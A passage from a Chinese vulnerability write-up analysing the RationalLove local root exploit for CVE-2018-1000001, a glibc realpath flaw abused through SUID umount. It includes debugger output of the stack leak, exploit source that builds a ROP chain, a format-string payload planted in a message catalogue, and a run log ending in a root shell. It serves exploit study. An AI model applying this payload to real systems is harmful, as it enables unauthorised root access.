if(!preambleStart) { // No preamble, move content only if buffer is full. if(readDataLength==sizeof(readBuffer)) moveLength=readDataLength-7; break; } ``` 泄露栈信息内容如下: ```shell [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────── registers ──── $rax : 0x00007fffffffc9a0 → "umount: /: umount failed: Operation not permitted\[...]" $rbx : 0x0 $rcx : 0x8 $rdx : 0x000000000040497f → "AAAAAAAA" $rsp : 0x00007fffffffc7e0 → 0x0000000000000030 ("0"?) $rbp : 0x00007fffffffddb0 → 0x00007fffffffdeb0 → 0x0000000000403f60 → <__libc_csu_init+0> push r15 $rsi : 0x400 $rdi : 0x00007fffffffc9a0 → "umount: /: umount failed: Operation not permitted\[...]" $rip : 0x000000000040345a → call 0x401370 $r8 : 0x0 $r9 : 0x00007ffff7fde700 → 0x00007ffff7fde700 → [loop detected] $r10 : 0x3df $r11 : 0x246 $r12 : 0x00000000004014e0 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffdf90 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [carry PARITY ADJUST zero sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ─────────────────────────────────────────────────────── stack ──── 0x00007fffffffc7e0│+0x0000: 0x0000000000000030 ("0"?) ← $rsp 0x00007fffffffc7e8│+0x0008: 0x0000000000000400 0x00007fffffffc7f0│+0x0010: 0xffffffff00000000 0x00007fffffffc7f8│+0x0018: 0x0000c1f800000400 0x00007fffffffc800│+0x0020: 0x00007fff00000003 0x00007fffffffc808│+0x0028: 0x00007fffffffc900 → 0x0000000000000003 0x00007fffffffc810│+0x0030: 0x00007ffff7ff79c8 → 0x00007ffff7ffe168 → 0x0000000000000000 0x00007fffffffc818│+0x0038: 0x0000000000000000 ─────────────────────────────────────────────────── code:x86:64 ──── 0x40344d mov ecx, 0x8 0x403452 mov edx, 0x40497f 0x403457 mov rdi, rax → 0x40345a call 0x401370 ↳ 0x401370 jmp QWORD PTR [rip+0x204db2] # 0x606128 0x401376 push 0x22 0x40137b jmp 0x401140 0x401380 jmp QWORD PTR [rip+0x204daa] # 0x606130 0x401386 push 0x23 0x40138b jmp 0x401140 ───────────────────────────────────────────── arguments (guessed) ──── memmem@plt ( $rdi = 0x00007fffffffc9a0 → "umount: /: umount failed: Operation not permitted\[...]", $rsi = 0x0000000000000400, $rdx = 0x000000000040497f → "AAAAAAAA", $rcx = 0x0000000000000008 ) ───────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "RationalLove", stopped, reason: SINGLE STEP ─────────────────────────────────────────────────────── trace ──── [#0] 0x40345a → attemptEscalation() [#1] 0x403e11 → main() ─────────────────────────────────────────────────────────────── gef➤ x/20s $rdi 0x7fffffffc9a0: "umount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: /: umount failed: Operation not permitted\numount: AAAAAAAA00000000010db2b000007fb79206792", '0' , "8100007fb79206792000000000010d7bf000000000010d7af", '0' , "a", '0' , "a00000000010d7bf", '0' , "4036e1", '0' , "a00000000010d7af", '0' , "a", '0' , "a00000000010d7bf", '0' , "402cf1", '0' , "ffffff", '0' , "54f542c23c6e88", '0' , "40(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES/util-linux.mo" ``` ### 构造ROP链 此部分主要在exp的`attemptEscalation()`函数`case1`部分,大致流程为:根据泄露的栈信息计算 libc 基址,从而得到 `getdate()` 和 `execl()`函数地址,之后将格式化字符串信息写入 `/proc/pid/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo`文件中。 ```c case 1: // Read the stack. // Consume stack data until or local array is full. while(moveLength+16<=readDataLength) { result=sscanf(readBuffer+moveLength, "%016lx", (int*)(stackData+stackDataBytes)); if(result!=1) { // Scanning failed, the data injection procedure apparently did // not work, so this escalation failed. goto attemptEscalationCleanup; } moveLength+=sizeof(long)*2; stackDataBytes+=sizeof(long); // See if we reached end of stack dump already. if(stackDataBytes==sizeof(stackData)) break; } if(stackDataBytes!=sizeof(stackData)) break; // All data read, use it to prepare the content for the next phase. fprintf(stderr, "Stack content received, calculating next phase\n"); int *exploitOffsets=(int*)osReleaseExploitData[3]; // This is the address, where source Pointer is pointing to. void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]]; // This is the stack address source for the target pointer. void *sourcePointerLocation=sourcePointerTarget-0xd0; void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]]; // This is the stack address of the libc start function return // pointer. void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10; fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n", sourcePointerLocation, sourcePointerTarget, targetPointerTarget, libcStartFunctionReturnAddressSource); // So the libcStartFunctionReturnAddressSource is the lowest address // to manipulate, targetPointerTarget+... void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2]; void *stackWriteData[]={ libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA], libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA] }; fprintf(stderr, "Changing return address from %p to %p, %p\n", libcStartFunctionAddress, stackWriteData[0], stackWriteData[1]); escalationPhase++; char *escalationString=(char*)malloc(1024); createStackWriteFormatString( escalationString, 1024, exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf sourcePointerTarget, // Base value to write exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ... libcStartFunctionReturnAddressSource, (unsigned short*)stackWriteData, sizeof(stackWriteData)/sizeof(unsigned short) ); fprintf(stderr, "Using escalation string %s", escalationString); result=writeMessageCatalogue( secondPhaseCataloguePathname, (char*[]){ "%s: mountpoint not found", "%s: not mounted", "%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" }, (char*[]){ escalationString, "BBBB5678%3$s\n", "BBBBABCD%s\n"}, 3); assert(!result); break; ``` 写入内容如下: ```c msgid "" msgstr "" "Language: en\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "%s: mountpoint not found" msgstr "" "%69$hn%73$hn%1$23072.23072s%70$hn%1$9439.9439s%68$hn%72$hn%1$3841.3841s%66$hn" "%1$15892.15892s%67$hn%1$1.1s%71$hn%1$13291.13291s%1$45766.45766s%1$s%1$s" "%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-" "%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s\n" msgid "%s: not mounted" msgstr "BBBB5678%3$s\n" msgid "" "%s: target is busy\n" " (In some cases useful info about processes that\n" " use the device is found by lsof(8) or fuser(1).)" msgstr "BBBBABCD%s\n" ``` 因为在泄露栈地址时同时也将栈上其中一个`AANGUAGE = X.X`改为 `LANGUAGE = X.X`,由于 环境变量`LANGUAGE` 发生了改变,umount 将尝试加载另一种语言的 catalogue。 更新后的格式字符串现在包含当前运行的二进制文件的所有偏移量。 但是堆栈没有包含用于写操作的合适的指针,并且 fprintf 在运行时会忽略参数指针的更改,因为安全的 printf 将值向下复制到堆栈中,因此无法直接使用。 因此,必须使用相同的(未修改的)格式字符串多次调用 fprintf ,但在每次调用时仍必须表现不同以覆盖不同的内存位置。 这是通过使用格式字符串本身进行算术来完成的,每次 fprintf 调用都作为时钟,输入路径名的长度作为指令指针,从而创建了一个简化的虚拟机。之后通过将主函数返回地址改为`getdate()`和`execl()`做 ROP。 被调用的程序文件中包含一个 shebang(即”#!”),使系统调用了漏洞利用程序作为它的解释器。利用程序将自己的文件所有权和模式更改为root SUID二进制文件并退出。 最终运行结果如下: ```shell test@ubuntu:~$ id uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) test@ubuntu:~$ ./RationalLove ./RationalLove: setting up environment ... Detected OS version: "16.04.3 LTS (Xenial Xerus)" ./RationalLove: using umount at "/bin/umount". No pid supplied via command line, trying to create a namespace CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection. Namespaced filesystem created with pid 65795 Attempting to gain root, try 1 of 10 ... Starting subprocess Stack content received, calculating next phase Found source address location 0x7fff4892b338 pointing to target address 0x7fff4892b408 with value 0x7fff4892d23f, libc offset is 0x7fff4892b328 Changing return address from 0x7fdb07468830 to 0x7fdb07507e00, 0x7fdb07514a20 Using escalation string %69$hn%73$hn%1$1872.1872s%67$hn%1$1.1s%71$hn%1$17103.17103s%70$hn%1$13280.13280s%66$hn%1$475.475s%68$hn%72$hn%1$32805.32805s%1$45846.45846s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s Executable now root-owned Cleanup completed, re-invoking binary /proc/self/exe: invoked as SUID, invoking shell ... root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(test) ``` exp见参考[3]。 ## 总结 这个漏洞从环境搭建到漏洞分析都花费了较多的时间。在环境搭建时,一开始使用Ubuntu 16.04 TLS搭建的漏洞环境,由于这个版本已经将漏洞修复,本人当时采用自编译带漏洞的 glibc 并重新指定 rpath 编译 umount 。但在调试过程中发现重新指定的 rpath 中没有 locate 导致环境变量以及 触发漏洞时的堆布局和能够成功触发漏洞时的堆布局完全不同,导致无法正常利用。在漏洞调试时,需要在exp程序父进程与子进程间切换,调试起来也比较繁琐。但完整调下来,对用户态下利用漏洞提权姿势又有了新的认识。 ## 参考资料 [1]https://www.freebuf.com/column/162202.html [2]https://bbs.pediy.com/thread-228678.htm [3]https://github.com/5H311-1NJ3C706/local-root-exploits/blob/master/linux/CVE-2018-1000001/RationalLove.c [4]https://www.ibm.com/developerworks/cn/linux/l-cn-linuxglb/